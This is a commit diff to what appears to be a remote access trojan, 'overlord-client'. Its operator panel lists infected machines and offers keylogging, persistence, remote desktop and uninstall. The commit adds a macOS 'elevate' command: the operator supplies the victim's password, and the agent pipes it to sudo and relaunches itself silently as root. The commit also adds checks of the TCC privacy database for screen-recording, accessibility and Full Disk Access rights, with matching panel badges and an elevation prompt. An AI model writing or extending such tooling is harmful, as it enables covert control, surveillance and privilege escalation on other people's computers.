new mac update for permission issues.
This commit is contained in:
+1
-1
@@ -22,7 +22,7 @@ RUN apt-get update \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Go (latest stable version)
|
||||
ENV GO_VERSION=1.26.1
|
||||
ENV GO_VERSION=1.26.2
|
||||
ARG TARGETARCH
|
||||
RUN case "${TARGETARCH}" in \
|
||||
amd64) GO_ARCH=amd64 ;; \
|
||||
|
||||
@@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string {
|
||||
}
|
||||
|
||||
func deriveHWID() string {
|
||||
machineID := platformMachineID()
|
||||
if machineID != "" {
|
||||
h := sha256.New()
|
||||
h.Write([]byte(machineID))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOOS))
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
// fallback
|
||||
h := sha256.New()
|
||||
h.Write([]byte(hostname()))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(os.Getenv("USERNAME")))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOOS))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOARCH))
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
||||
return nil
|
||||
case "desktop_start":
|
||||
if goruntime.GOOS == "darwin" {
|
||||
perms := sysinfo.DarwinPermissions()
|
||||
var missing []string
|
||||
if !perms["screenRecording"] {
|
||||
missing = append(missing, "screenRecording")
|
||||
}
|
||||
if !perms["accessibility"] {
|
||||
missing = append(missing, "accessibility")
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
log.Printf("desktop: macOS missing permissions: %v", missing)
|
||||
detail, _ := json.Marshal(map[string]interface{}{
|
||||
"reason": "permissions_denied",
|
||||
"missing": missing,
|
||||
"permissions": perms,
|
||||
})
|
||||
sendCommandResultSafe(env, cmdID, false, string(detail))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
env.DesktopMu.Lock()
|
||||
if env.DesktopCancel != nil {
|
||||
env.DesktopCancel()
|
||||
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
return ErrReconnect
|
||||
case "elevate":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
password, _ := payload["password"].(string)
|
||||
return HandleElevate(ctx, env, cmdID, password)
|
||||
case "proxy_connect":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
return HandleProxyConnect(ctx, env, cmdID, payload)
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
//go:build darwin
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
if os.Getuid() == 0 {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "already running as root",
|
||||
})
|
||||
}
|
||||
|
||||
if password == "" {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "password required for elevation",
|
||||
})
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
validateCmd := exec.Command("sudo", "-S", "-k", "true")
|
||||
validateCmd.Stdin = strings.NewReader(password + "\n")
|
||||
if err := validateCmd.Run(); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "incorrect password",
|
||||
})
|
||||
}
|
||||
|
||||
args := os.Args[1:]
|
||||
sudoArgs := append([]string{"-S", "-k", exePath}, args...)
|
||||
cmd := exec.Command("sudo", sudoArgs...)
|
||||
cmd.Stdin = strings.NewReader(password + "\n")
|
||||
cmd.Env = os.Environ()
|
||||
|
||||
nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||
if nullFile != nil {
|
||||
cmd.Stdout = nullFile
|
||||
cmd.Stderr = nullFile
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to start elevated process: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "elevating — new process started as root",
|
||||
})
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build !darwin
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "elevation via password is only supported on macOS",
|
||||
})
|
||||
}
|
||||
@@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
hello.RAM = hw.RAM
|
||||
hello.IsAdmin = sysinfo.IsAdmin()
|
||||
hello.Elevation = sysinfo.Elevation()
|
||||
hello.Permissions = sysinfo.DarwinPermissions()
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||
return fmt.Errorf("send hello: %w", err)
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
//go:build darwin
|
||||
|
||||
package sysinfo
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func IsAdmin() bool {
|
||||
return os.Getuid() == 0
|
||||
}
|
||||
|
||||
func Elevation() string {
|
||||
if os.Getuid() == 0 {
|
||||
return "admin"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return map[string]bool{
|
||||
"screenRecording": checkScreenRecording(),
|
||||
"accessibility": checkAccessibility(),
|
||||
"fullDiskAccess": checkFullDiskAccess(),
|
||||
"root": os.Getuid() == 0,
|
||||
}
|
||||
}
|
||||
|
||||
func checkScreenRecording() bool {
|
||||
if os.Getuid() == 0 {
|
||||
return true
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if real, err := filepath.EvalSymlinks(exe); err == nil {
|
||||
exe = real
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return false
|
||||
}
|
||||
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
|
||||
safeExe := strings.ReplaceAll(exe, "'", "''")
|
||||
out, _ := exec.Command("sqlite3", db,
|
||||
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
|
||||
).CombinedOutput()
|
||||
return strings.TrimSpace(string(out)) == "2"
|
||||
}
|
||||
|
||||
func checkAccessibility() bool {
|
||||
err := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to get name of first process`).Run()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func checkFullDiskAccess() bool {
|
||||
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
|
||||
return err == nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !darwin
|
||||
|
||||
package sysinfo
|
||||
|
||||
@@ -15,3 +15,7 @@ func Elevation() string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1,26 +1,27 @@
|
||||
package wire
|
||||
|
||||
type Hello struct {
|
||||
Type string `msgpack:"type"`
|
||||
ID string `msgpack:"id"`
|
||||
HWID string `msgpack:"hwid"`
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
||||
Country string `msgpack:"country,omitempty"`
|
||||
BuildTag string `msgpack:"buildTag,omitempty"`
|
||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||
Signature string `msgpack:"signature,omitempty"`
|
||||
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||
CPU string `msgpack:"cpu,omitempty"`
|
||||
GPU string `msgpack:"gpu,omitempty"`
|
||||
RAM string `msgpack:"ram,omitempty"`
|
||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||
Elevation string `msgpack:"elevation,omitempty"`
|
||||
Type string `msgpack:"type"`
|
||||
ID string `msgpack:"id"`
|
||||
HWID string `msgpack:"hwid"`
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
||||
Country string `msgpack:"country,omitempty"`
|
||||
BuildTag string `msgpack:"buildTag,omitempty"`
|
||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||
Signature string `msgpack:"signature,omitempty"`
|
||||
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||
CPU string `msgpack:"cpu,omitempty"`
|
||||
GPU string `msgpack:"gpu,omitempty"`
|
||||
RAM string `msgpack:"ram,omitempty"`
|
||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||
Elevation string `msgpack:"elevation,omitempty"`
|
||||
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
||||
}
|
||||
|
||||
type EnrollmentChallenge struct {
|
||||
|
||||
@@ -444,6 +444,16 @@ p {
|
||||
color: #d8b4fe;
|
||||
border-color: rgba(168, 85, 247, 0.45);
|
||||
}
|
||||
.pill-perm-ok {
|
||||
background: rgba(34, 197, 94, 0.15);
|
||||
color: #86efac;
|
||||
border-color: rgba(34, 197, 94, 0.4);
|
||||
}
|
||||
.pill-perm-no {
|
||||
background: rgba(239, 68, 68, 0.15);
|
||||
color: #fca5a5;
|
||||
border-color: rgba(239, 68, 68, 0.4);
|
||||
}
|
||||
|
||||
/* Hardware info toggle & panel */
|
||||
.pill-hw {
|
||||
|
||||
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
|
||||
isWindows,
|
||||
"Keylogger capture is only fully supported on Windows clients.",
|
||||
);
|
||||
|
||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||
if (elevateBtn) {
|
||||
elevateBtn.style.display = platform === "darwin" ? "" : "none";
|
||||
}
|
||||
}
|
||||
|
||||
async function loadCurrentUser() {
|
||||
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === "elevate") {
|
||||
const password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||
if (!password) {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "elevate", password }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (data.ok) {
|
||||
alert(data.message || "Elevation successful — client will reconnect as root.");
|
||||
} else {
|
||||
alert(data.error || data.message || "Elevation failed.");
|
||||
}
|
||||
} catch (err) {
|
||||
alert("Elevation request failed: " + err.message);
|
||||
}
|
||||
closeMenu(clearContext);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 2000);
|
||||
return;
|
||||
}
|
||||
|
||||
const ok = await sendCommand(contextCard, action);
|
||||
if (ok) {
|
||||
setTimeout(() => loadWithOptions({ force: true }), 400);
|
||||
|
||||
@@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
scheduleOffline(msg.reason);
|
||||
return;
|
||||
}
|
||||
if (msg.status === "permissions_denied") {
|
||||
clearOfflineTimer();
|
||||
desiredStreaming = false;
|
||||
const missing = Array.isArray(msg.missing) ? msg.missing : [];
|
||||
const labels = {
|
||||
screenRecording: "Screen Recording",
|
||||
accessibility: "Accessibility",
|
||||
fullDiskAccess: "Full Disk Access",
|
||||
};
|
||||
const list = missing.map(k => labels[k] || k).join(", ");
|
||||
setStreamState("error", `macOS permissions required: ${list}`);
|
||||
showElevateOffer(missing);
|
||||
return;
|
||||
}
|
||||
if (msg.status === "connecting") {
|
||||
clearOfflineTimer();
|
||||
setStreamState("connecting", "Connecting");
|
||||
@@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
}
|
||||
|
||||
function showElevateOffer(missing) {
|
||||
// Remove previous elevate banner if any
|
||||
const prev = document.getElementById("rdElevateBanner");
|
||||
if (prev) prev.remove();
|
||||
|
||||
const banner = document.createElement("div");
|
||||
banner.id = "rdElevateBanner";
|
||||
banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm";
|
||||
|
||||
const labels = {
|
||||
screenRecording: "Screen Recording",
|
||||
accessibility: "Accessibility",
|
||||
fullDiskAccess: "Full Disk Access",
|
||||
};
|
||||
const list = missing.map(k => labels[k] || k).join(", ");
|
||||
|
||||
banner.innerHTML = `
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-triangle-exclamation text-amber-400"></i>
|
||||
<span><strong>macOS permissions missing:</strong> ${list}</span>
|
||||
</div>
|
||||
<div class="text-xs text-amber-300/80">
|
||||
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<input id="rdElevatePwd" type="password" placeholder="User password" autocomplete="off"
|
||||
class="px-3 py-1.5 rounded bg-slate-800 border border-slate-600 text-slate-100 text-sm focus:outline-none focus:border-amber-500" />
|
||||
<button id="rdElevateBtn" class="button primary text-sm px-4 py-1.5">
|
||||
<i class="fa-solid fa-bolt"></i> Elevate
|
||||
</button>
|
||||
<button id="rdElevateDismiss" class="button ghost text-sm px-3 py-1.5">Dismiss</button>
|
||||
</div>
|
||||
<div id="rdElevateStatus" class="text-xs text-slate-400 hidden"></div>
|
||||
`;
|
||||
|
||||
// Insert banner above the canvas area
|
||||
if (canvasContainer && canvasContainer.parentNode) {
|
||||
canvasContainer.parentNode.insertBefore(banner, canvasContainer);
|
||||
}
|
||||
|
||||
const elevateBtn = document.getElementById("rdElevateBtn");
|
||||
const pwdInput = document.getElementById("rdElevatePwd");
|
||||
const statusDiv = document.getElementById("rdElevateStatus");
|
||||
const dismissBtn = document.getElementById("rdElevateDismiss");
|
||||
|
||||
if (dismissBtn) {
|
||||
dismissBtn.addEventListener("click", () => banner.remove());
|
||||
}
|
||||
|
||||
if (elevateBtn && pwdInput) {
|
||||
elevateBtn.addEventListener("click", async () => {
|
||||
const password = pwdInput.value.trim();
|
||||
if (!password) {
|
||||
pwdInput.focus();
|
||||
return;
|
||||
}
|
||||
elevateBtn.disabled = true;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin"></i> Elevating...';
|
||||
if (statusDiv) {
|
||||
statusDiv.classList.remove("hidden");
|
||||
statusDiv.textContent = "Sending elevation request...";
|
||||
}
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "elevate", password }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly.";
|
||||
statusDiv.className = "text-xs text-emerald-400";
|
||||
}
|
||||
elevateBtn.textContent = "Done";
|
||||
// The client will disconnect and reconnect; the viewer should auto-recover
|
||||
} else {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
|
||||
statusDiv.className = "text-xs text-rose-400";
|
||||
}
|
||||
elevateBtn.disabled = false;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||
}
|
||||
} catch (err) {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = `Request failed: ${err.message}`;
|
||||
statusDiv.className = "text-xs text-rose-400";
|
||||
}
|
||||
elevateBtn.disabled = false;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
|
||||
@@ -16,7 +16,7 @@ function escapeHtml(text) {
|
||||
}
|
||||
|
||||
function cardDigest(c) {
|
||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`;
|
||||
}
|
||||
|
||||
export function createRenderer({
|
||||
@@ -424,6 +424,17 @@ export function createRenderer({
|
||||
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
||||
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
|
||||
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
|
||||
${client.os === "darwin" && client.permissions ? (() => {
|
||||
const p = client.permissions;
|
||||
const pills = [];
|
||||
if (p.screenRecording === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-video"></i> Screen</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-video-slash"></i> No Screen</span>');
|
||||
if (p.accessibility === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-universal-access"></i> Accessibility</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-ban"></i> No Accessibility</span>');
|
||||
if (p.fullDiskAccess === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-hard-drive"></i> FDA</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-lock"></i> No FDA</span>');
|
||||
return pills.join("");
|
||||
})() : ""}
|
||||
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
||||
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
||||
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
||||
|
||||
@@ -45,6 +45,8 @@ const MENU_GROUPS = [
|
||||
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||
{ divider: true },
|
||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ divider: true },
|
||||
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
||||
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
||||
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },
|
||||
|
||||
@@ -109,6 +109,9 @@ try {
|
||||
try {
|
||||
db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
|
||||
} catch {}
|
||||
try {
|
||||
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
|
||||
} catch {}
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS banned_ips (
|
||||
@@ -424,8 +427,8 @@ export function upsertClientRow(
|
||||
) {
|
||||
const now = partial.lastSeen ?? Date.now();
|
||||
db.run(
|
||||
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?)
|
||||
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
hwid=COALESCE(excluded.hwid, clients.hwid),
|
||||
role=COALESCE(excluded.role, clients.role),
|
||||
@@ -450,7 +453,8 @@ export function upsertClientRow(
|
||||
gpu=COALESCE(excluded.gpu, clients.gpu),
|
||||
ram=COALESCE(excluded.ram, clients.ram),
|
||||
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
|
||||
elevation=COALESCE(excluded.elevation, clients.elevation)
|
||||
elevation=COALESCE(excluded.elevation, clients.elevation),
|
||||
permissions=COALESCE(excluded.permissions, clients.permissions)
|
||||
`,
|
||||
partial.id,
|
||||
partial.hwid ?? partial.id,
|
||||
@@ -477,6 +481,7 @@ export function upsertClientRow(
|
||||
partial.ram ?? null,
|
||||
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
|
||||
partial.elevation ?? null,
|
||||
partial.permissions ? JSON.stringify(partial.permissions) : null,
|
||||
);
|
||||
|
||||
if (partial.hwid) {
|
||||
@@ -736,7 +741,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
|
||||
const rows = db
|
||||
.query<any>(
|
||||
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
||||
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, permissions, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
|
||||
FROM clients
|
||||
${whereSql}
|
||||
${orderBy}
|
||||
@@ -770,6 +775,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
ram: c.ram || null,
|
||||
isAdmin: c.isAdmin === 1,
|
||||
elevation: c.elevation || null,
|
||||
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
|
||||
disconnectReason: c.disconnectReason || null,
|
||||
disconnectDetail: c.disconnectDetail || null,
|
||||
thumbnail: getThumbnail(c.id),
|
||||
|
||||
@@ -30,6 +30,7 @@ export function handleClientsRequest(req: Request): Response {
|
||||
...item,
|
||||
isAdmin: live.isAdmin ?? item.isAdmin,
|
||||
elevation: live.elevation ?? item.elevation,
|
||||
permissions: live.permissions ?? item.permissions,
|
||||
...(live.monitorInfo?.length ? {
|
||||
monitors: live.monitorInfo.length,
|
||||
monitorInfo: live.monitorInfo,
|
||||
|
||||
@@ -666,6 +666,50 @@ export async function handleClientRoutes(
|
||||
details: "Agent uninstall requested - persistence will be removed",
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "elevate") {
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const password = typeof body?.password === "string" ? body.password : "";
|
||||
if (!password) {
|
||||
return new Response("Bad request: password required", { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Elevation timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "elevate",
|
||||
id: cmdId,
|
||||
payload: { password },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("elevate");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: "elevate (sudo)",
|
||||
});
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
|
||||
}
|
||||
} else {
|
||||
success = false;
|
||||
return new Response("Bad request", { status: 400 });
|
||||
|
||||
@@ -314,6 +314,21 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
switch (payload.type) {
|
||||
case "desktop_start":
|
||||
if (!state.isStreaming) {
|
||||
if (target.os === "darwin" && target.permissions) {
|
||||
const missing: string[] = [];
|
||||
if (!target.permissions.screenRecording) missing.push("screenRecording");
|
||||
if (!target.permissions.accessibility) missing.push("accessibility");
|
||||
if (missing.length > 0) {
|
||||
logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`);
|
||||
safeSendViewer(ws, {
|
||||
type: "status",
|
||||
status: "permissions_denied",
|
||||
missing,
|
||||
permissions: target.permissions,
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
rdStreamingState.set(clientId, state);
|
||||
|
||||
@@ -30,6 +30,7 @@ export type ClientInfo = {
|
||||
ram?: string;
|
||||
isAdmin?: boolean;
|
||||
elevation?: string;
|
||||
permissions?: Record<string, boolean>;
|
||||
enrollmentStatus?: EnrollmentStatus;
|
||||
publicKey?: string;
|
||||
keyFingerprint?: string;
|
||||
|
||||
@@ -91,6 +91,9 @@ export function handleHello(
|
||||
info.inMemory = !!(payload as any).inMemory;
|
||||
info.isAdmin = !!(payload as any).isAdmin;
|
||||
